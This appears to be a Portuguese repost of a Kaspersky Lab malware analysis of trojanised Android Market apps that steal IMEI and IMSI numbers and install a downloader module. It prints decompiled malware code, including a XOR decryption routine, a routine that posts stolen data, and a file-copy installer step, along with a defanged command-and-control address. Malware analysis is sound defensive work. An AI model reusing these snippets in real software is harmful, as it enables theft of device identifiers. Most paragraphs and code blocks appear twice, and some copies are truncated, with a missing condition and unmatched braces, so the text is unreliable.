Posted March 03, 14:54 GMT
Kaspersky Lab Expert
Dêem atenção ao que escreveu um dos experts do Kaspersky Laboratories em uma circular enviada a assinantes do famoso antivirus!!!!!
Ontem meu colega Tim Armstrong escreveu sobre o surto de malware no Android Market. Em suma... uma série de aplicativos legais foram troianizados e enviados para o Android Market. Vamos dar uma olhada em um deles.
Como foi mencionado anteriormente, todos os aplicativos maliciosos que temos visto até agora estavam usando os mesmos exploits que são detectados pelo Kaspersky como Exploit.AndroidOS.Lotoor.g e Exploit.AndroidOS.Lotoor.j. Ambos são bem conhecidos em todas as versões Android OS inferior a 2,3. Isto significa que qualquer um que usa Gingerbread (Android 2.3) devem ser protegidos contra essas façanhas.
Então o que exatamente esses Trojans roubam? Aparentemente, o atacante fez questão de atuar sobre a obtenção de IMSI e números de IMEI. E além destes, também estão colhendo informações sobre o sistema operacional e tipo de dispositivo.
Veja como o roubo acontece: dentro do código, não há bloco de dados criptografados, que é exatamente 45 bytes de tamanho. Este bloco é criptografada usando um algoritmo XOR simples com uma chave especial, que é armazenado em outro bloco de dados chamado "KeyValue". Se você está curioso, aqui está como a rotina de descriptografia de uma olhada:
Como foi mencionado anteriormente, todos os aplicativos maliciosos que temos visto até agora estavam usando os mesmos exploits que são detectados pelo Kaspersky como Exploit.AndroidOS.Lotoor.g e Exploit.AndroidOS.Lotoor.j. Ambos são bem conhecidos em todas as versões Android OS inferior a 2,3. Isto significa que qualquer um que usa Gingerbread (Android 2.3) devem ser protegidos contra essas façanhas.
Então o que exatamente esses Trojans roubam? Aparentemente, o atacante fez questão de atuar sobre a obtenção de IMSI e números de IMEI. E além destes, também estão colhendo informações sobre o sistema operacional e tipo de dispositivo.
Veja como o roubo acontece: dentro do código, não há bloco de dados criptografados, que é exatamente 45 bytes de tamanho. Este bloco é criptografada usando um algoritmo XOR simples com uma chave especial, que é armazenado em outro bloco de dados chamado "KeyValue". Se você está curioso, aqui está como a rotina de descriptografia de uma olhada:
public static void crypt(byte abyte0[ ])
{
int i = 0;
int j = 0;
do
{
int k = abyte0.length;
if(j >= k)
return;
byte byte0 = abyte0[j];
byte byte1 = KEYVALUE[i];
byte byte2 = (byte)(byte0 ^ byte1);
abyte0[j] = byte2;
i++;
int l = keylen;
if(i == l)
i = 0;
j++;
}
while(true);
}
{
int i = 0;
int j = 0;
do
{
int k = abyte0.length;
if(j >= k)
return;
byte byte0 = abyte0[j];
byte byte1 = KEYVALUE[i];
byte byte2 = (byte)(byte0 ^ byte1);
abyte0[j] = byte2;
i++;
int l = keylen;
if(i == l)
i = 0;
j++;
}
while(true);
}
Uma vez decifrado, os primeiros pontos de dados do bloco a "hxxp: / / 184.105.245.17:8080 GMServer / / GMServlet.
Que é hospedado por um ISP chamado Hurricane Electric (http://www.he.net/), em Fremont, Califórnia . Imediatamente contactamos Hurricane Electric sobre este host e eles estavam prontos a derruba-lo. No momento desta escrita, o servidor malicioso não está mais acessível.
Como dissemos antes, o Trojan parece ter sido projetado para coletar códigos IMEI e IMSI, juntamente com as informações do dispositivo específico. Os dados roubados são transferidos para o servidor dos cibercriminosos ", através de um método POST através do protocolo HTTP. Os blocos são enviados no formato XML e parecido com isto:
Como dissemos antes, o Trojan parece ter sido projetado para coletar códigos IMEI e IMSI, juntamente com as informações do dispositivo específico. Os dados roubados são transferidos para o servidor dos cibercriminosos ", através de um método POST através do protocolo HTTP. Os blocos são enviados no formato XML e parecido com isto:
Formato geral do modelo XML
Dados transferidos por Backdoor.AndroidOS.Rooter.a
Dados transferidos por Backdoor.AndroidOS.Rooter.b
Método POST usado por Backdoor.AndroidOS.Rooter
O campo de comando, que é definido como "0" no bloco acima, sinaliza o upload do IMEI roubado e códigos IMSI, juntamente com informações dispositivo. Você pode notar que as informações na etiqueta difere em dois diferentes arquivos maliciosos que APK - ProductId tem os valores 10023 e 10039. Obviamente, o atacante queria contar a taxa de sucesso dos Trojans diferentes, que foram semeadas no mercado. Além disso, devemos notar que os dados de tag ('502 ') é o mesmo em ambas as amostras. Essa marca realmente nos fez pensar: é possível que este '502 'poderia ser algum tipo de filial ou ID parceiro. Se isso for verdade, pode-se saber quantos filiados foram (ou são) lá fora?
Para evitar a postagem dos mesmos dados, uma e outra, o Trojan define um parâmetro preferência "pref_config_setting" para "feito" depois de uma bem sucedida upload:
Para evitar a postagem dos mesmos dados, uma e outra, o Trojan define um parâmetro preferência "pref_config_setting" para "feito" depois de uma bem sucedida upload:
public void run()
{
if(Setting.access$1(Setting.this) .getSharedPreferences("pref_config_setting",0) .getInt("done",0)== 0)
{
byte abyte0[] = val$c;
String s = new String(abyte0);
Context context = Setting.access$1(Setting.this);
Setting.postUrl(s, context);
}
{
if(Setting.access$1(Setting.this)
{
byte abyte0[] = val$c;
String s = new String(abyte0);
Context context = Setting.access$1(Setting.this);
Setting.postUrl(s, context);
}
Além de enviar o IMEI roubado e códigos IMSI, o Trojan instala um outro módulo. Ele faz isso copiando um arquivo de recurso interno chamado sqlite.db em DownloadProvidersManager.apk:
private void destroy(boolean flag)
{
boolean flag1;
if(flag && !isPackageInstalled(ctx, "com.android.providers.downloadsmanager"))
flag1 = cpFile(ctx, "sqlite.db", "DownloadProvidersManager.apk");
stopSelf();
}
{
boolean flag1;
if(flag && !isPackageInstalled(ctx, "com.android.providers.downloadsmanager"))
flag1 = cpFile(ctx, "sqlite.db", "DownloadProvidersManager.apk");
stopSelf();
}
Então, qual é o objetivo deste segundo módulo? Ele conecta-se de volta para o mesmo servidor onde ele carregou o IMEI e IMSI roubado, mas com um bloco de requisição diferentes (Command "2"). Desta vez, ele lê uma resposta de volta a partir do servidor, que parece incluir uma lista de aplicativos para baixar e instalar no dispositivo já infectadas. Então, em essência, é um Trojan downloader módulo.
A arquitetura altamente modular do Trojan é interessante e aponta algumas conclusões importantes. Primeiro de tudo, ele foi projetado para ser fácil de incluir em aplicações populares, para ser carregado no mercado com nomes enganosos. Em segundo lugar, tem uma arquitetura de comando e controle-clássico - ele envia uma inicial "Estou aqui" consulta com informações básicas e, em seguida, implanta um downloader mais complexo para infectar o dispositivo adicional. Isso é muito semelhante a muitos Trojans Windows. Finalmente, a possibilidade de instalar outros aplicativos nos dispositivos aponta para o caminho através do qual o autor estava planejando rentabilizar as infecções -, implantando Adware ou Publicidade apoiado aplicativos no dispositivo.
Continuaremos a monitorar a situação e atualizar com novos desenvolvimentos.
Costin Raiu
Denis Maslennikov
A arquitetura altamente modular do Trojan é interessante e aponta algumas conclusões importantes. Primeiro de tudo, ele foi projetado para ser fácil de incluir em aplicações populares, para ser carregado no mercado com nomes enganosos. Em segundo lugar, tem uma arquitetura de comando e controle-clássico - ele envia uma inicial "Estou aqui" consulta com informações básicas e, em seguida, implanta um downloader mais complexo para infectar o dispositivo adicional. Isso é muito semelhante a muitos Trojans Windows. Finalmente, a possibilidade de instalar outros aplicativos nos dispositivos aponta para o caminho através do qual o autor estava planejando rentabilizar as infecções -, implantando Adware ou Publicidade apoiado aplicativos no dispositivo.
Continuaremos a monitorar a situação e atualizar com novos desenvolvimentos.
Costin Raiu
Denis Maslennikov